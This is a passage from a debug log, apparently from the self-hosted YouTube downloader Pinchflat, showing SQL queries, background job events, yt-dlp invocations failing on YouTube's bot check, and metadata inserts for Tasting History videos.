not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:11.992 [info] {"args":{"id":12040},"id":1695,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1858701,"event":"job:stop","queue_time":78499,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:11.998 [info] {"args":{"id":11535},"id":1696,"meta":{},"system_time":1774767071998344687,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:11.998 [debug] QUERY OK source="media_items" db=0.1ms idle=864.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 02:51:11.998 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:11.999 [debug] QUERY OK source="sources" db=0.1ms idle=864.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:11.999 [debug] QUERY OK source="media_profiles" db=0.1ms idle=300.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:12.000 [debug] QUERY OK source="media_items" db=0.2ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 02:51:12.000 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 02:51:12.000 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:12.001 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:12.001 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:12.001 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:12.002 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:12.002 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:12.002 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:12.002 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4a/7a/4a7ab3da597ba58e5484cbe13b7de7e6b68cd96ec79565a957509f38b99607eb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:12.135 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", "id" => "g2uEeDzhn14", "original_url" => "https://www.youtube.com/watch?v=g2uEeDzhn14", "playlist_index" => 4, "title" => "Hatshepsut - The Pharaoh they tried to Erase from History", "upload_date" => "20260303"} 02:51:12.136 [debug] QUERY OK source="sources" db=0.2ms idle=134.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:12.137 [debug] QUERY OK source="sources" db=0.3ms idle=135.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:12.139 [debug] QUERY OK source="media_items" db=2.0ms idle=135.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 00:00:00Z], 3] 02:51:12.160 [debug] QUERY OK source="media_items" db=20.1ms idle=137.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "26ec20e0-02d2-412c-af98-4611fafa04a0", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", false, false, 4, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", false, false, 3, [], 98, ~U[2026-03-03 00:00:00Z], ~U[2026-03-29 06:51:12Z], ~U[2026-03-29 06:51:12Z], "Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", nil, false, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", false, 3, ~U[2026-03-03 00:00:00Z]] 02:51:12.160 [debug] QUERY OK source="sources" db=0.2ms idle=157.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:12.160 [debug] QUERY OK source="media_profiles" db=0.1ms idle=24.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:12.161 [debug] QUERY OK source="media_items" db=0.2ms idle=24.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10464] 02:51:12.161 [debug] Current batch of media processed. Will check again in 1000ms 02:51:12.457 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6c/c2/6cc2e6487b18eae005102f8172dc22ec592480e35ad4a0b5300eef0d7db5c560.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:12.457 [error] yt-dlp download error for media item #12546: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:12.458 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] _iGppK9by3Y: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:12.458 [info] {"args":{"id":12546},"id":1694,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2325073,"event":"job:stop","queue_time":78499,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:13.162 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "filename" => "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", "id" => "LpfV-0kT56o", "original_url" => "https://www.youtube.com/watch?v=LpfV-0kT56o", "playlist_index" => 5, "title" => "Nikola Tesla's Weird Eating Habits", "upload_date" => "20260224"} 02:51:13.163 [debug] QUERY OK source="sources" db=0.2ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:13.163 [debug] QUERY OK source="sources" db=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:13.165 [debug] QUERY OK source="media_items" db=1.4ms idle=705.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 00:00:00Z], 3] 02:51:13.167 [debug] QUERY OK source="media_items" db=1.3ms idle=700.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "2d74f754-7eba-48c6-ace8-24035cd2ec23", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", false, false, 5, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", false, false, 3, [], 98, ~U[2026-02-24 00:00:00Z], ~U[2026-03-29 06:51:13Z], ~U[2026-03-29 06:51:13Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", nil, false, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", false, 3, ~U[2026-02-24 00:00:00Z]] 02:51:13.167 [debug] QUERY OK source="sources" db=0.1ms idle=467.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:13.167 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:13.168 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR 